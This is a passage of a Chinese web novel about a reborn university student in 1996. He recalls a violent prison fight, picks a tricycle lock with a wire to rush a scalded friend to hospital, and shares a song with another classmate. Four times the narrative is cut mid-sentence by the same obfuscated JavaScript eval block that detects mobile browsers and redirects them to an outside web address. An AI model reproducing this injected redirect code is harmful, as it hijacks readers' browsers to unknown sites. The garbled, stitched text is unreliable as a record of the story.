“这么早就开始筹备了?” 李曼说:“你以为呢?大学生艺术节要先校内选拔,再省市汇演,再到全国汇演。咱们宁海大学在全国排名前几,自然希望节目能最终进京展演。港岛回归这样的历史时刻,错过太可惜了。” 第76章 我可不想唱东方之珠 韩学涛听到李曼的话,猛然怔住了。 明年港岛就要回归了? 他脑中不自觉地浮现出上一世的画面——九七年六月三十号,监狱里破天荒没有干活,所有犯人都集中在活动室看回归仪式。英方降旗的时候,有人鼓掌,被管教吼了一嗓子,就没人敢动了。 那天晚上也有文艺演出,十个节目有六个唱的都是《东方之珠》。唱的人换了一拨又一拨,调子都不太准,但每个人都扯着嗓子喊。他坐在角落里,看着屏幕上维港的烟花,心里想的是另外一件事。 那天晚上,他把一直欺负他的驴哥狠狠地打了一顿。 驴哥比他大八岁,进来之前是混社会的,在号子里拉了一帮人,专门欺负新来的。韩学涛进来第一天就被他盯上了。 那天晚上,管教们都在看演出,放松了警惕。他等到驴哥去厕所的时候跟了进去,把门反锁。那场架打了多久他不记得了,只知道最后驴哥躺在便池旁边,满嘴牙打掉了一半,肋骨断了几根,满脸是血。 他在厕所里等了五分钟,等管教踹开门的时候,他蹲在墙角,双手抱头。 因为这事,他刑期加了半年,又关了一个月禁闭。但从禁闭室出来之后,再也没人敢惹他了。大家都叫他韩疯子。这一架,算是他监狱生活的转折点。 “想什么呢?”李曼的声音把他拉回来。 韩学涛笑了笑:“没什么。港岛回归,我都忘了这事儿了。” 李曼说:“那你要不要也来表演个节目?展雪昨天还问我呢,你为什么不过来参加汇演?我以为你都回东林了,早知道你还在学校,我早就叫你了。” 韩学涛连忙摆手:“别别别,我可不想唱什么《东方之珠》。这歌我有心理阴影,听都不想听。” 李曼哼了一声:“不想来就不来呗,找这么奇葩的理由,你就糊弄我吧。” “不是糊弄你。再说了,我也没时间啊,我要帮冯老师弄资料呢。” 两个人走出食堂,冷风灌过来,李曼把围巾往上拉了拉,露出一双眼睛。 “马辉最近联系你没?”她忽然问。 韩学涛摇头:“没有。原来他还说要来学校找我玩,一个学期都过完了,也没见到影子。” “罗点点倒是给我打过电话。”李曼说,“马辉去师范找过她。” 韩学涛看了她一眼:“马猴是对罗点点有意思吧?在追她?” 李曼点点头:“点点说马辉给她写过信,但她没答应。现在点点找了一个校外的男朋友,还说等开学了带她男朋友一起过来找我们玩儿。” “校外的?”韩学涛有点意外。罗点点不跟马猴在一起,他一点不奇怪。但找的不是师范学院的,而是校外的? 李曼抿了抿嘴:“我有点担心点点被社会上的男的骗了。” “各有各的缘分,这哪是我们能多嘴的事。”韩学涛看着她,“你在学生会怎么样了?” “还能怎么样?”李曼说:“该怎么做就怎么做呗,原则上的事,让一步就是退一万步。他们要说就让他们说去呗,我又不是做给他们看的。嘴长在别人身上,我管不了,也不稀罕管。” 韩学涛微微点头,感觉这很“李曼”。 “再说了……也不是没人站在我这边。学生会的会长、两个副会长,都跟我说过话,程嘉还帮我去跟其他部那边打过招呼呢。”她转头对韩学涛笑了笑:“不用担心我了,我能处理好的。” 晚上,韩学涛回到寝室,整理白天在图书馆听到的要点。 这些不是教材编撰工作的一部分,是他每天听到觉得有用的东西,晚上回来都会再过一遍,免得以后忘掉。这年头互联网不发达,想找点资料可不容易。 正忙的时候,寝室电话响了。 “你寝室有热水吗?”李曼在电话那头问,“我下午在学生会排练完,回来已经错过打热水的时间了。寝室里不能用大功率电器烧水。” 韩学涛说:“你等会儿,我给你送一壶去。” “半壶就够了,你自己也留点水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428355|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝。” “放心吧,我这有的是热水。” 挂了电话,韩学涛拿自己的保温瓶装满水,又找出一个大功率电器“热得快”**去。 这东西是于鑫买的,自打有了它,203寝室就没去食堂打过热水。关键是烧出来的水滚烫,不像食堂打回来的,有时候还温吞吞的。 水烧开,韩学涛拎着保温瓶给女生宿舍那边打电话:“我马上过去,你在楼下等我。” 等他到女生楼下的时候,李曼已经站在门口等了。穿的还是中午那套,白色印花棉袄,红色围巾,只是头上多了一顶白帽子,正一边跺脚一边往手上哈气,嘴里呼出的白雾一团一团的。 韩学涛把保温瓶递过去,特意叮嘱:“里面水很烫,喝的时候注意点。” 李曼接过来:“你等我一会儿,我上去把热水倒进我的水瓶里,这个你拿回去。” “不用了,这天气倒来倒去都凉了。等你喝完再给我就行,就算不还也没事,我们寝室保温瓶好几个呢。” 李曼笑了笑:“那谢谢啦。” 她拎着热水瓶转身上楼,韩学涛转身往回走。 回到寝室,他继续整理资料。等全部忙完,已经快十一点了。他合上本子,正准备上床,电话又响了。 “喂,是地质系的韩学涛吗?”电话那头是个中年女人的声音,“我是女生宿舍的宿管。你认识510寝室的李曼不?” 韩学涛心里一紧:“认识,怎么了?” “李曼在寝室被热水烫伤了。我这边晚上不能离开宿舍楼,你过来带她去校医务室上点药。” 韩学涛放下电话就往外跑。 从男生宿舍到女生楼,平时走七八分钟的路,他三分钟就到了。宿管阿姨正站在门口张望,看见他跑过来,往旁边让了让。 “阿姨,我是韩学涛,刚才您打电话给我的。李曼现在在寝室吗?我上去找她。” 宿管阿姨盯着他看了两秒,忽然瞪大眼睛:“你——你不是上次扛书架那个哑巴吗!” 第78章 雪夜里的三蹦子 展雪跑到IC电话亭,几分钟后跑回来,脸上全是焦急。 “120说救护车要等!市里所有救护车都去车祸现场救援了,说如果不是特别紧急的疾病,让我们自己想办法找车过去!”她气得声音都变了,“什么破120!报纸上宣传的天花乱坠,什么‘生命热线’‘急救先锋’,真用的时候屁用不顶!” 1996年是120正式成为全国统一急救电话的元年,前段时间报纸上连篇累牍地宣传,现在电话打过去,车来不了,期待全变成了落差。 周兰在旁边急得跺脚:“那怎么办?” 展雪扭头看韩学涛:“要不你背李曼回寝室,我和周兰去校外药店买点药。先抹上,明天一早再去医院。” 李曼连忙点头:“可以可以,抹了药不行我明天再来。” 周兰说:“那也只能这样了。” 韩学涛不同意,直接否决:“不行。这种大面积烫伤,今天晚上必须处理!” 他把李曼从背上放下来,让展雪和周兰扶住,自己大步朝旁边的空地走过去。 空地边停着一辆三蹦子,也不知道是谁放这儿的,车身上已经被雪覆盖了白白的一层,后斗棚子的帆布破了一个角,耷拉下来。车轮上锁着一条婴儿手臂粗的铁链子,看起来黑黝黝的。 三个女生站在那儿,看着他蹲下来,从地上捡了根铁丝,**锁眼里,拨了几下。铁丝在他手指间转来转去,也就十几秒的工夫,“咔哒”一声,锁弹开了。 他把铁链子往地上一扔,跳上驾驶座,试着踩了几脚油门。发动机吭哧吭哧响了几声,冒出一股黑烟,竟然发动了。 韩学涛从车上跳下来,走到李曼面前,拦腰把她抱起来。李曼还没反应过来,人已经被放进了三蹦子后斗的棚子里,靠在后座上。棚子不大,刚好容得下一个人半躺。 韩学涛把那条毛巾被重新给她盖好,转身对展雪和周兰说:“你们回去吧,我送她去医院。” 他跳上驾驶座,挂挡,加油。三蹦子突突突地响着,屁股后面冒出一股黑烟,摇摇晃晃地开出了空地。 展雪和周兰站在原地,看着那辆三蹦子越开越远,尾灯在雪夜里一明一灭,拐过篮球场,消失在生活超市的转角处。两个人直直地看着那个方向,好半天没动。 周兰指着三蹦子消失的方向,声音都有点发颤:“韩学涛他……他也太敢了吧。” 展雪没说话。脑里画面象幻灯片似的,一张张闪。 她想起新生汇演那天晚上,他在台上弹着吉他唱歌,自己赤着脚,跟着旋律跳。想起卖苹果的时候,他出的那些点子,还有他站在摊位前指挥大家的样子。想起游戏厅门口,他把那瓶可乐摇足了劲儿喷出去,然后一脚踹翻那个混混。 现在他又撬了一辆不知道谁的三蹦子,开着它冒着雪送李曼去医院。 这个人,好像什么事都敢干,而且什么事都能干成。 展雪看着三蹦子消失的方向,心里忽然有点不是滋味。她说不上来那是什么感觉,就是胸口那儿,堵堵的,闷闷的,像有什么东西压着,又像有什么东西在往外冒。 三蹦子突突突地驶出校园,雪越下越大了。 路灯昏黄的光晕里,雪花密密匝匝地往下坠,落在车棚上沙沙作响。路边的梧桐树光秃秃的,枝桠上已经积了一层白。平时热闹的街道现在空无一人,店铺都关了门,卷帘门上贴着红纸写的“春节放假通知”,被风吹得一角翘起来。 李曼靠在三蹦子后座的棚子里,看着前面开车的背影。 他的肩很宽,脊背挺直,两只手稳稳地握着车把。雪落在他的头发上、肩膀上,他也不去拍,就那么专注地看着前面,好像这条路他走过无数遍似的。 她从来没坐过这种车。突突突的,摇摇晃晃,到处都响,棚子还漏风。她也从来没想过,有一天会在半夜里,被一个男生用撬锁偷来的三蹦子送去医院。 从小到大,她都是循规蹈矩的好学生。不逃课,不早恋,不跟坏学生玩,连上课说话都很少。要是换一个人做这种事,她大概会觉得这个人疯了。可现在坐在车上的是她自己,开车的是韩学涛,她偏偏气不起来。 说不清是为什么。可能是腿太疼了,没力气生气。可能是雪太大了,脑子被冻得不太清醒。也可能是……她看着他的背影,忽然有一种私奔的感觉,如果这条路一直开下去,开到哪儿都行。 她被自己这个念头吓了一跳,鼻子一酸,眼泪差点掉下来。她使劲吸了吸鼻子,把那股酸涩压回去。 韩学涛听见动静,扭头看了一眼:“疼吧?再坚持一下,马上就到了。” 说完他转回去,目光盯紧路面。雪越下越大,三蹦子的轮子有点打滑,得万分小心。 好在车技还行。南美那几年,这种三轮车他开过太多回了。 那边不叫三蹦子,叫Mototaxi。南美的Mot ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428357|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' otaxi颜色鲜艳,遮阳棚上喷着圣母像、球队队徽、情人的名字,乱七八糟的,什么都有。 利马、波哥大那些地方,地势多山,棚户区密得像迷宫,大公交进不去,全靠这种轻巧的三轮车在狭窄陡峭的巷子里钻来钻去。 而现在,宁海的街头安静得像另一个世界。店铺全关了,路灯孤零零地亮着,只有他们这辆三蹦子在突突突地响。 前面的路口,几辆警车横在路中间,红**在雪夜里转着,拉起了警戒线。一个交警站在路边,伸手拦住了他们。 韩学涛刹住车:“我是宁海大学的,同学烫伤了,送她去医院。” 交警往三蹦子后座看了一眼,摇摇头:“前面过不去。你别送省人民医院了,去市中院吧。” “市中院太远了,还下着雪。” 交警指了指前面,声音有点哑:“同学,我不是故意拦你。前面校车和一辆大巴撞了,正在紧急救援,你过不去。而且伤者太多,你到了省人医,急诊也没空理你——我们都已经往市二院送了。” 韩学涛往前面看了一眼,远处警灯闪烁,影影绰绰全是人。他跟交警道了谢,掉头就走。 李曼在后面问:“我们去市中院吗?” “不去,太远了。” 三蹦子往回开了一百多米,韩学涛一拐,钻进一条巷子。 巷子窄,两边都是低矮的门面房,这个点还亮着灯的只有几家发廊。粉色的灯光从玻璃门里透出来,门口转着红蓝白的三色灯柱,在雪夜里显得格外暧昧。音响里放着歌,任贤齐的声音在巷子里飘来飘去。 你总是心太软,心太软,把所有问题都自己扛…… 这是今年最火的曲子。 韩学涛没心思听歌,拐出巷子,七拐八拐,绕了几条小路,最后从一条他熟悉的小巷穿出去——省人民医院的后门。 他把三蹦子停在门口,把李曼从车里抱出来,背着她就往急诊跑。 急诊大厅灯火通明,乱成一锅粥。担架横七竖八地摆着,上面躺着人,有的头上缠着绷带,有的胳膊吊着,有的脸上全是血。护士推着车轮床在人群里穿梭,门口救护车的灯还在闪,又一批伤者被抬下来。 李曼趴在韩学涛背上,看得心惊肉跳。那些人身上全是血,衣服撕烂了,脸上的血和雪混成一团。有个小孩躺在担架上,一动不动,旁边一个女人跪在地上哭。 韩学涛背着李曼转身就出了急诊。 第79章 上大学交女朋友了? 韩学涛背着李曼转身离开急诊,直奔住院部。 李曼抬头看见住院部大楼上那三个字,急了:“来这儿干嘛?我不要住院!再说就算住院也得门诊医生开单子,不是你背我过来就行的。” “不住院。一会儿你就知道了。” 他背着她直接上了四楼骨科病房。走廊里灯亮着,静悄悄的。他拐进去,一眼就看见护士站里坐着个熟悉的身影。 “燕子姐,今天你值夜班啊?” 小护士肖燕正低头写什么,听见声音抬起头,愣了一下,然后笑了:“咦,小韩?你怎么来了?” 韩德富住院那段时间,韩学涛在这层楼陪护了个把月,跟护士们混得极熟。从护士长到每个小护士,他都能叫出名字。高考查分那天,他就是在护士站打的电话,后来还给大家发了糖。所以即便他离开医院好几个月了,肖燕还是一眼就认出他来。 “我同学在寝室烫伤了。”韩学涛把李曼往上托了托,“校医务室没人,下面急诊又人满为患,我只能背上来找你们帮忙。” 肖燕探头看了一眼他背上的李曼,眼睛亮了:“嚯,女同学,长得挺漂亮的。小韩你可以啊,上了宁海大学,交漂亮女朋友了?” 韩学涛赶紧求饶:“燕子姐,你就别给我牵红线了。我背着她跑了一路,腰都快断了。” 肖燕嘻嘻笑着从护士站绕出来:“去值班室吧,我马上过来帮你们处理。” 值班室不大,一张检查床,一张桌子,几把椅子。韩学涛把李曼放在床上,肖燕端着托盘进来,看了看伤口:“还行,不算太严重。水泡得挑了,有点疼,忍一下。” 她动作利落,消毒、挑泡、上药,一气呵成。李曼紧张得浑身绷紧,挑破水泡的时候疼得倒吸一口气,下意识抓住韩学涛的胳膊。 肖燕一边干活一边吃瓜,嘴角翘着,看看李曼又看看韩学涛:“你们在大学一个班的?” “不是,”韩学涛说,“我们是高中同学,早就认识了。燕子姐,不是你想的那样。” 肖燕头都没抬:“人家女生都没否认,你急着否认什么?” 韩学涛张了张嘴,没接上话。 肖燕忽然想起什么,抬头看了他一眼:“高中同学?是不是就是打电话叫你去学校拿录取通知书的那个?” 韩学涛点点头。心里嘀咕,你记性也太好了,这都过去多久的事了。 李曼躺在检查床上,脸腾地烧起来。 她万万没想到,自己当时打的那个电话,竟然连这个她从未来过的人民医院住院部的护士都知道。而且过了这么久还能被人提起——那当时在这儿会被传成什么样? 一时间,她竟恍惚觉得,自己不是在陌生医院,倒像是在对象亲戚家开的诊所里。脸上烧得厉害,腿上烫伤的地方反倒没那么疼了。 韩学涛赶紧转移话题:“曲主任和护士长呢?” 肖燕收拾着托盘:“都去急诊了。曲主任现在应该在做手术,护士长本来都回家了,又被临时叫过来。没办法,急诊那边忙不过来。” 处理完伤口,肖燕直起身:“最好再挂瓶水,预防感染。你去护士休息室吧,那儿安静。” 韩学涛犹豫了一下:“不好吧?你们晚上没地方睡了。” 肖燕苦笑:“我们今天晚上还想睡?不可能!用不了二十分钟,急诊和手术室那边就有病人要送上来了。今天晚上我一分钟都合不了眼。” 护士休息室在走廊尽头,小小的,一张上下铺,一张桌子。肖燕给李曼挂上水,调好滴速,叮嘱了几句,就匆匆忙忙走了。 门关上,房间一下子安静下来。走廊里远远传来脚步声、推车轮子碾过地面的声音,还有人在喊什么。但这间小屋里,时间像突然慢了下来。 李曼靠在枕头上,呼了一口气:“有点热,闷闷的。” 韩学涛走到窗边,把窗帘拉开一条缝,推开窗户。冷风裹着雪花的气息涌进来,凉丝丝的。外面的世界白茫茫一片,雪还在下,纷纷扬扬,把整个城市盖成了一张白纸。 楼底下,医院大门里车灯一闪一闪的,救护车、私家车、小面包车,排着队往里进。急诊那边灯火通明,人影憧憧,声音传过来,混成一片嗡嗡的响。但医院外面,街道、楼房、树木,全安安静静地站在雪里,一动不动。 李曼迷迷糊糊醒来的时候,水早就挂完了。窗帘缝隙里透进来的光已经变成灰白色,天快亮了。 她偏过头,看见韩学涛趴在床边,头枕着自己的手臂,睡得很沉。他的脸朝着她的方向,眉头微微皱着,呼吸很轻。她伸出手,刚好能够到他的头发——几缕碎发搭在额前,被压得有点翘。 这个画面忽然把她拉回小时候。 七八岁那年她生病住院,半夜醒来,看见父亲就是这样趴在床边,头枕着手臂,一只手还搭在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428358|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被子上,像是怕她踢被子。 现在趴在这儿的不再是父亲,而是一个跟她同龄的男孩子。 她不禁想起昨晚的事。韩学涛蹲下去撬锁的样子,开三蹦子穿过雪夜的样子,交警拦路时他掉头钻进巷子的样子,急诊大厅里人山人海、他背着她转身就走的样子。还有在骨科病房,他轻车熟路地喊出护士的名字,像在自己家一样。 这个人做事,有一种她从来没见过的劲头。 学生会里那些学长,口才好、才艺多、组织能力强,能说会道、八面玲珑。可要是把他们放在昨晚那种情况里,他们会怎么做? 大概去校外药店买点药给她就算了吧。 就算家里有权势的,打电话,托关系,找老师,最后也许也能解决问题,但总觉得少了点什么。 少了那种一往无前的气势。 她忍不住伸出手,轻轻碰了碰他的头发,想把他翘起来的头发压回去。手指刚触上去,韩学涛就醒了。 他抬起头,眨了眨眼,看看她,又看了看窗外:“醒了?你等我一下。” 他起身出去,没过一会儿就回来了,手里拿着牙膏、牙刷、一条新毛巾,还有一袋洗漱用品。 李曼撑着身子坐起来,接了东西去洗漱。等她回来,床头柜上多了一小锅热腾腾的粥,旁边塑料袋里装着几样小菜和两个茶叶蛋。 “吃吧,吃饱了我们就走。”韩学涛把粥盛出来递给她,“回学校赶紧把三蹦子还回去,免得人家报警了。” “哪来的?” “借他们护士的锅下去买的。这家菜粥味道相当好,尝尝。” 李曼接过碗,粥还烫着,米粒熬得软烂,青菜切成细丝,香气扑鼻。她低头喝了一口,心里又有什么东西被撞了一下。 吃完饭,韩学涛又开着那辆三蹦子把李曼送回学校。 雪已经停了,路面上的积雪被车压出一道道黑印子。他把车停在原来那块空地,铁链和锁已经不在了,估计主人发现车没了,拿走了。他也不管,把车停回原处,拍了拍手上的灰。 这年头还好没有满大街的摄像头,不然还真有点麻烦。 把李曼送回寝室,下午,韩学涛买了一大袋水果,拎着去女生寝室楼,找宿管阿姨。 还没进门,就听见宿管阿姨在打电话,嗓门贼大。 “老刘你说话能不能要点脸?别以为我不知道,肯定就是你们哪个保安干的!” 第80章 这家伙眼光也太挑了 韩学涛把水果放在门卫室的桌上,宿管阿姨刚挂了电话,正黑着脸。 “这是干嘛?”她看了一眼那袋水果,语气还没缓过来。 “阿姨,我来跟您赔礼道歉。”韩学涛站得规规矩矩,“上次的事不该骗您。本来想写检查的,但我觉着诚意不够……” “拿回去拿回去。”阿姨摆摆手。 韩学涛没动:“放寒假寝室就我一个人,拿回去吃不完就坏了。” 这几天李曼还要到校医务室换药,他得经常过来,少不了跟宿管阿姨打交道。以前的芥蒂得尽快解开,关系还得处好。 “阿姨,什么事生这么大气呀?” 这话像捅开了闸口,阿姨一拍桌子:“还不是保安队那帮人!昨天晚上我老公停在空地的三蹦子,让人给偷了!锁直接撬开扔在地上——你说气不气人!” 韩学涛一愣:“阿姨,您老公也是我们学校的?” “食堂给你们做饭的老胡!那三蹦子是他平时买菜用的。” 韩学涛心里咯噔一下——不会这么巧吧?他翘的那辆,是食堂师傅的? “丢了?找回来了吗?” 他明明已经停回去了,不会没锁又被别人开走了吧? 阿姨哼了一声:“回来了。早上不知道谁又给开回来,停在老地方,油箱都快烧空了。你说这什么人,坏心眼儿——你要借车你说一声,撬锁算什么意思?” 她越说越气:“这事肯定就是保安队哪个干的!其他人干不出这事儿来。哪个老师学生会去撬三蹦子的锁?烧了一晚上的油!这事儿保安队的老刘必须得给我个说法,不然我找校领导去!” 韩学涛捏着下巴,看了看桌上那袋水果,心想是不是买少了。 “找回来就好,找回来就好。”他干笑了两声,又跟阿姨聊了几句,赶紧告辞。 他走后,阿姨坐在桌前,瞥了一眼那袋水果。苹果、橙子、还有一大串葡萄——不是那种便宜货。她拎起来看了看,又放回去,脸上那点黑气不知不觉散了大半。 这小伙子还是不错的,会来事儿,过来道歉还知道拎点东西。比保安队那帮人强多了,去食堂找老胡蹭饭连包烟都不带,还他妈撬锁偷三蹦子——真不是个东西! 李曼回到寝室又补了一觉,醒来时已是中午。 展雪和周兰从食堂给她打了饭回来。 周兰拉了把椅子坐下,忍不住问:“昨晚后来发生什么了?” 李曼一边吃饭,一边把事情简要说了,跳过了护士站那段的细节,也没提他在医院里趴在床边睡着的事。 但展雪和周兰还是听得愣住了。 周兰沉默了一会儿,忽然说:“上次卖苹果我就发现韩学涛挺厉害的。我们两块钱都卖不出去的苹果,他价格翻一倍还能卖断货。” 李曼一愣:“卖苹果?” “就是我们联谊寝室的活动……”周兰打开了话匣子。 以前她们寝室都觉得展雪和韩学涛可能会在一起。新生汇演上两个人合作得那么好,男弹女舞,多般配。但游戏厅事件之后,两个寝室联系就少了。展雪从没主动去找过韩学涛,连电话也没打过。韩学涛也没打过电话过来。时间久了,大家也就不提了。展雪长得漂亮,家里条件也好——具体做什么的周兰不清楚,反正挺有钱的。而韩学涛只是个特困生。展雪对他应该也就是普通朋友的关系,比203寝室其他人近一点而已。 现在周兰倒是觉得李曼跟韩学涛的关系不一般,尤其是经过昨天晚上,瞎子都能看出来两人不是普通高中同学那么单纯了。 于是她也不怎么顾及展雪,很有倾吐欲地把以前联谊寝室一起卖苹果的事说了一遍。 从她们怎么去商贸街摆摊,一上午没人买,到韩学涛想出按个卖的主意,把苹果包装好,贴上小白写的诗,一块钱一个,最后卖断货。她讲得绘声绘色,把孙婷婷打赌那段也说了。 “……我们寝室孙婷婷你知道的,也是东林人。她当时说,韩学涛你要是能四块钱一斤把苹果卖出去, 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孙婷婷说让韩学涛在她们寝室随便挑一个当女朋友,他怎么不挑一个呢?405寝室可是美女扎堆,难道他都看不上眼? 这家伙眼光也太挑了。 李曼换了三次药,过了一个星期,腿上的烫伤好了大半,走路已经不太碍事了。而她们寒假的排练也接近尾声。 学校有规定,寒假不能让学生留校太久,总要赶在过年前把人都清回去。 韩学涛把李曼送上火车,回到寝室,开始收拾自己的东西。他在学校最后待一晚,明天也就回家了。 八点多钟,东西收拾得差不多了,寝室电话忽然响了。他愣了一下——这个时候谁会打电话来? “韩学涛?方不方便?我找你有点事。”展雪对韩学涛还在寝室有些惊喜。 “行,在哪儿?” “外面太冷,我去你寝室吧。” 女生进男生寝室方便得很,不到一刻钟,展雪就出现在203寝室门口,肩上还背着一把吉他。 第81章 展雪的吉他 “你怎么还在学校?” 两人异口同声问出来,对视一眼,又同时笑了。 韩学涛侧身让展雪进来,把桌上那堆资料往旁边挪了挪,腾出块地方。“我在图书馆勤工俭学,离校就晚了点。” 展雪把吉他靠在桌边,打量了一圈203寝室。八张床铺,七张已经卷起了铺盖,光秃秃的床板上落着灰,只剩靠窗那张下铺还摊着被褥,桌上摊着几本书和一个笔记本。“图书馆早关门了。”她说。 “虽然没有同学去看书,但我还要帮老师整理一些资料。”韩学涛拉过一把椅子给她,自己在对面坐下。 展雪点点头,目光从那些床铺上收回来,忽然问:“徐爽来过你们寝室吗?” 韩学涛想了想:“没有。至少我在寝室的时候没见她来过。” “那我应该是405第一个到你们寝室来的女生了。”展雪说。 韩学涛笑了笑:“蓬荜生辉。” 展雪指了指靠窗那张下铺:“这是你的床吧?” “对,其他人的铺盖都收起来了,就我一个还摊着,不是很明显么。” “我在我们寝室也是睡你这个位置。” 韩学涛又笑了:“荣幸之至。”他起身给她倒了杯水,放在她面前,坐回去,“你光问我了,还没回答我呢。你怎么也还没走?” “在学校排练呀,你不是知道的么。” “周兰前天就走了,早上我又把李曼送走。”韩学涛看了她一眼,“你怎么还留在学校?现在可是春运。” 他想起什么,问:“你家是哪儿的?不会是让我去车站排队给你买火车票吧?” 这年头的春运可不是闹着玩的。 正是绿皮车时代,一到过年返乡,车厢里过道、厕所、甚至座位底下都塞满了人,核心枢纽站每天要发送好几万旅客,候车厅外面排着见不到头的长龙。 飞机就更别想了,一张票八百上千,一般人根本坐不起,那时候平均工资才几百块一个月。而且民航还在实行严格的政府定价,没有后来动辄两折三折的特价票。 说起来学生会也挺操蛋,把人留下来排练,却不给解决火车票。 李曼还好,宁海到东林是省内短途。 周兰家在外省,就没有那么幸运了,她去火车站买票直接就懵了——在站外挤了两个小时没进售票大厅,回学校发现包还被划了个口子,以为过年回不了家,急得都快哭了。韩学涛没办法,去火车站给她弄了一张票。 展雪忽然想起来:“对了,现在站票都很难买,你给周兰的卧铺票是怎么弄来的?” “运气好,正好碰到有人不走了,临时转让。”韩学涛说,“不然我也得跟你们学生会那些人一样,拎着行李排一天一夜。” 展雪白了他一眼:“看把你吓得。我不是来找你买票的,我家就在宁海。” 韩学涛一愣:“你是宁海人?那你不是更应该早点回家吗?在寝室住上瘾了?” 展雪沉默了一下:“我不是出生在宁海,只是后来随父母住在这边。” 她没再说下去。韩学涛也没多问,靠在椅背上,看着她:“说吧,什么事?” ... “新生汇演你弹唱的那首歌,我特别喜欢,平时又听不到,”展雪说明来意,“想找你学,你能教我吗?” 韩学涛问:“你会弹吉他吗?” 展雪点头,把琴盒打开。韩学涛低头一看,眼睛微微眯了一下——这吉他不错。他伸手接过来,拨了两下弦,又看了一眼琴头后面的商标,心里有了数。 这不是国产的,是美国进口的牌子——美豪。 这年头国内玩吉他的,一般用胶合板琴,几十到一百来块。能买一把全单板的红棉琴,五百到一千,已经很贵了。展雪这把美豪,国内一般人根本买不到——这么说吧,他爸韩德富内退拿的那八千块,恐怕都买不起这把琴。 他拨了几下,调了调音,递回去:“试试。” 展雪接过琴,抱好,手指搭上琴弦。前奏一起,韩学涛愣了一下。是《**》,Beyond三年前出的。这歌经典,经久不衰,但一般都是男生弹,女生弹唱的极少。 更让他意外的是展雪的弹法——指法干净,节奏稳,和弦转换毫无迟滞,右手拨弦的力度控制得恰到好处,该重的时候重,该轻的时候轻,几个泛音点打得精准又自然。明显是专门学过的,不像他这种野路子。 他弹吉他没有正儿八经学过。最早是在南美拿一把尤克里里没事弹着玩,后来在秘鲁、厄瓜多尔那边玩过一种叫夏朗戈的乐器,跟吉他高度相似,被叫作“安第斯山脉的小吉他”。再后来在巴西玩过罗德里戈吉他,玩的多了也就会了。但跟展雪这种科班出身的一比,就明显有差距了。 展雪弹着弹着,轻轻唱起来。声音不高,几乎是清唱,混着琴声,在空荡荡的寝室里回荡。 “原谅我这一生不羁放纵爱自由,也会怕有一天会跌倒……” 她唱得很投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428360|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入,眼睛半闭着,睫毛微微颤动,整个人随着旋律轻轻晃。波浪似的头发垂在蓝色外套上,像水纹铺在深海上。 韩学涛靠在椅背上看着展雪,忽然觉得她下一秒就要驾着船漂走,漂到很远的地方去,再也不回来。 展雪弹完最后一个音,手指按住琴弦,抬头看韩学涛:“怎么样?” 韩学涛伸手把琴接过来:“比我弹得好,用不着教。我弹两遍,你把谱子记下来就能上手了。” 他调了调坐姿,手指搭上弦,开始弹《梦底》。第一遍慢,一个音一个音地往外走,像是在把曲子拆开给人看。第二遍回到原来的速度,前奏、主歌、副歌、间奏,一气呵成。展雪听得专注,手指在膝盖上跟着轻轻敲,偶尔低头在纸上记几笔。 半个小时之后,她把吉他抱回来,看着记下的谱子,试着弹了一遍。曲子顺下来了,她又从头弹,这次跟着唱。 同一首歌,从她嘴里出来是另一种味道。 韩学涛的声音沉,像从很深的地方往上浮;展雪的声音清,像从很高的地方往下落。但唱到“你曾为我翻山越岭,我总让你红了眼睛”那两句的时候,她的声音里还是带着一种奔赴山海的感觉,跟那天在舞台上跳舞时一样,像要去什么地方,谁都拦不住。 唱到一半,她忽然摁住琴弦,抬起头:“这首歌,你注册了吗?” “没有。” 展雪皱了皱眉:“你为什么不注册?你就这样把谱子给我,不怕我抢了你的歌?” “你要喜欢,拿去唱呗。” 韩学涛是真没想把这首歌占为己有。本来就不是他写的,是上一世在飞机上听到的最后一首歌,在心里留了个烙印。这个烙印对他自己来说够了,没必要舔着脸在作曲人那一栏写上自己的名字。 